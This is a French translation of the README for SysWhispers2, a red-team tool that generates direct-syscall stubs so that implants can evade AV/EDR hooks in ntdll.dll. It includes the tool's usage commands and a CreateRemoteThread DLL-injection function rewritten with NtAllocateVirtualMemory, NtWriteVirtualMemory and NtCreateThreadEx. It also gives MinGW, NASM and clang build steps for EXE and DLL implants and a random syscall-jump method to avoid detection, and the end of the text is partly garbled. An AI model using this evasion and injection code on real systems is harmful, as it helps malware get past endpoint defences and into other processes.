
Évasion d'AV/EDR via des appels système directs.
SysWhispers aide à l'évasion en générant des fichiers d'en-tête/ASM que les implants peuvent utiliser pour effectuer des appels système directs.
Tous les appels système principaux sont pris en charge et des exemples de fichiers générés sont disponibles dans le dossier example-output/.
L'utilisation est presque identique à SysWhispers1 mais vous n'avez pas à spécifier quelles versions de Windows prendre en charge. La plupart des changements sont sous le capot. Il ne repose plus sur les tables d'appels système de @j00ru, mais utilise la technique de "tri par adresse d'appel système" popularisée par @modexpblog. Cela réduit considérablement la taille des stubs d'appels système.
L'implémentation spécifique dans SysWhispers2 est une variante du code de @modexpblog. Une différence est que les hachages des noms de fonctions sont randomisés à chaque génération. @ElephantSe4l, qui avait publié cette technique plus tôt, a une autre implémentation basée en C++17 qui vaut également le coup d'œil.
Le dépôt original de SysWhispers est toujours en ligne mais pourrait être déprécié à l'avenir.
Divers produits de sécurité placent des hooks dans les fonctions API en mode utilisateur qui leur permettent de rediriger le flux d'exécution vers leurs moteurs et de détecter des comportements suspects. Les fonctions dans ntdll.dll qui effectuent les appels système ne consistent qu'en quelques instructions assembleur, donc les réimplémenter dans votre propre implant peut contourner le déclenchement de ces hooks de produits de sécurité. Cette technique a été popularisée par @Cn33liz et son article de blog contient plus de détails techniques qui valent la peine d'être lus.
SysWhispers offre aux red teamers la capacité de générer des paires d'en-tête/ASM pour n'importe quel appel système dans l'image du noyau principal (ntoskrnl.exe). Les en-têtes incluront également les définitions de types nécessaires.
> git clone https://github.com/jthuraisamy/SysWhispers2.git
> cd SysWhispers2
> py .\syswhispers.py --help
# Export all functions with compatibility for all supported Windows versions (see example-output/).
py .\syswhispers.py --preset all -o syscalls_all
# Export just the common functions (see below for list).
py .\syswhispers.py --preset common -o syscalls_common
# Export NtProtectVirtualMemory and NtWriteVirtualMemory with compatibility for all versions.
py .\syswhispers.py --functions NtProtectVirtualMemory,NtWriteVirtualMemory -o syscalls_mem
PS C:\Projects\SysWhispers2> py .\syswhispers.py --preset common --out-file syscalls_common
python syswhispers.py -p all -a all -l all -o example-output/Syscalls
. ,--.
,-. . . ,-. . , , |-. o ,-. ,-. ,-. ,-. ,-. /
`-. | | `-. |/|/ | | | `-. | | |-' | `-. ,-'
`-' `-| `-' ' ' ' ' ' `-' |-' `-' ' `-' `---
/| | @Jackson_T
`-' ' @modexpblog, 2021
SysWhispers2 : Pourquoi appeler le noyau quand on peut murmurer ?
Toutes les fonctions sélectionnées.
Terminé ! Fichiers écrits dans :
example-output/Syscalls.h
example-output/Syscalls.c
example-output/SyscallsStubs.std.x86.asm
example-output/SyscallsStubs.rnd.x86.asm
example-output/SyscallsStubs.std.x86.nasm
example-output/SyscallsStubs.rnd.x86.nasm
example-output/SyscallsStubs.std.x86.s
example-output/SyscallsStubs.rnd.x86.s
example-output/SyscallsInline.std.x86.h
example-output/SyscallsInline.rnd.x86.h
example-output/SyscallsStubs.std.x64.asm
example-output/SyscallsStubs.rnd.x64.asm
example-output/SyscallsStubs.std.x64.nasm
example-output/SyscallsStubs.rnd.x64.nasm
example-output/SyscallsStubs.std.x64.s
example-output/SyscallsStubs.rnd.x64.s
example-output/SyscallsInline.std.x64.h
example-output/SyscallsInline.rnd.x64.h
CreateRemoteThreadpy .\syswhispers.py -f NtAllocateVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx -o syscalls
#include <Windows.h>
void InjectDll(const HANDLE hProcess, const char* dllPath)
{
LPVOID lpBaseAddress = VirtualAllocEx(hProcess, NULL, strlen(dllPath), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
LPVOID lpStartAddress = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
WriteProcessMemory(hProcess, lpBaseAddress, dllPath, strlen(dllPath), nullptr);
CreateRemoteThread(hProcess, nullptr, 0, (LPTHREAD_START_ROUTINE)lpStartAddress, lpBaseAddress, 0, nullptr);
}
#include <Windows.h>
#include "syscalls.h" // Import the generated header.
void InjectDll(const HANDLE hProcess, const char* dllPath)
{
HANDLE hThread = NULL;
LPVOID lpAllocationStart = nullptr;
SIZE_T szAllocationSize = strlen(dllPath);
LPVOID lpStartAddress = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
NtAllocateVirtualMemory(hProcess, &lpAllocationStart, 0, (PULONG)&szAllocationSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
NtWriteVirtualMemory(hProcess, lpAllocationStart, (PVOID)dllPath, strlen(dllPath), nullptr);
NtCreateThreadEx(&hThread, GENERIC_EXECUTE, NULL, hProcess, lpStartAddress, lpAllocationStart, FALSE, 0, 0, 0, nullptr);
}
Utiliser l'option --preset common créera une paire d'en-tête/ASM avec les fonctions suivantes :
Les exemples suivants montrent comment compiler les programmes d'exemple ci-dessus en EXE et DLL en utilisant MinGW et l'assembleur NASM :
i686-w64-mingw32-gcc -c main.c syscalls.c -Wall -shared
nasm -f win32 -o syscallsstubs.std.x86.o syscallsstubs.std.x86.nasm
i686-w64-mingw32-gcc *.o -o temp.exe
i686-w64-mingw32-strip -s temp.exe -o example.exe
rm -rf *.o temp.exe
i686-w64-mingw32-gcc -c dllmain.c syscalls.c -Wall -shared
nasm -f win32 -o syscallsstubs.std.x86.o syscallsstubs.std.x86.nasm
i686-w64-mingw32-dllwrap --def dllmain.def *.o -o temp.dll
i686-w64-mingw32-strip -s temp.dll -o example.dll
rm -rf *.o temp.dll
x86_64-w64-mingw32-gcc -m64 -c main.c syscalls.c -Wall -shared
nasm -f win64 -o syscallsstubs.std.x64.o syscallsstubs.std.x64.nasm
x86_64-w64-mingw32-gcc *.o -o temp.exe
x86_64-w64-mingw32-strip -s temp.exe -o example.exe
rm -rf *.o temp.exe
x86_64-w64-mingw32-gcc -m64 -c dllmain.c syscalls.c -Wall -shared
nasm -f win64 -o syscallsstubs.std.x64.o syscallsstubs.std.x64.nasm
x86_64-w64-mingw32-gcc-dllwrap --def dllmain.def *.o -o temp.dll
x86_64-w64-mingw32-strip -s temp.dll -o example.dll
rm -rf *.o temp.dll
i686-w64-mingw32-gcc -m32 -Wall -c main.c syscalls.c syscallsstubs.std.x86.s -o temp.exe
i686-w64-mingw32-strip -s temp.exe -o example.exe
i686-w64-mingw32-gcc -m32 -Wall -c dllmain.c syscalls.c syscallsstubs.std.x86.s -o temp.dll
i686-w64-mingw32-dllwrap --def dllmain.def *.o -o temp.dll
i686-w64-mingw32-strip -s temp.dll -o example.dll
x86_64-w64-mingw32-gcc -m64 -Wall -c main.c syscalls.c syscallsstubs.std.x64.s -o temp.exe
x86_64-w64-mingw32-strip -s temp.exe -o example.exe
x86_64-w64-mingw32-gcc -m64 -Wall -c dllmain.c syscalls.c syscallsstubs.std.x64.s -o temp.dll
x86_64-w64-mingw32-dllwrap --def dllmain.def *.o -o temp.dll
x86_64-w64-mingw32-strip -s temp.dll -o example.dll
SysWhispers2 produit un fichier .s compatible clang qui contient les stubs ASM. Cela peut être utilisé avec llvm pour compiler votre code. Par exemple, en utilisant l'exemple d'injection DLL CreateRemoteThread ci-dessus :
clang -D nullptr=NULL main.c syscall.c syscallstubs.std.x64.s -o test.exe
L'option de sortie inlinegas générera une version sans fichier d'en-tête de Syswhispers2 qui peut être utilisée avec la compilation des BOFs. Incluez simplement l'en-tête dans votre projet.
En utilisant la routine de saut d'appel système aléatoire, il est possible d'éviter la "marque de l'appel système". Le stub d'assembly appelle une nouvelle fonction SW__GetRandomSyscallAddress qui recherche et sélectionne une instruction d'appel système propre dans ntdll.dll à utiliser. Ce faisant, il est possible d'éviter également le déclenchement d'instructions sycall en mode utilisateur.
Pour utiliser les sauts d'appel système aléatoires, vous devrez définir RANDSYSCALL lors de la compilation de votre programme et utiliser la version rnd de la sortie de SysWhispers2. Les exemples suivants montrent l'utilisation des stubs GNU Assembler.
i686-w64-mingw32-gcc main.c syscalls.c syscallsstubs.rnd.x86.s -DRANDSYSCALL -Wall -o example.exe
x86_64-w64-mingw32-gcc main.c syscalls.c syscallsstubs.rnd.x64.s -DRANDSYSCALL -Wall -o example.exe
win32k.sys) ne sont pas pris en charge.syscalls.h ont déjà été définis.
--preset all est rarement nécessaire).syscalls.h.Développé par @Jackson_T et @modexpblog, mais s'appuie sur le travail de nombreux autres :
Ce projet est sous licence Apache License 2.0.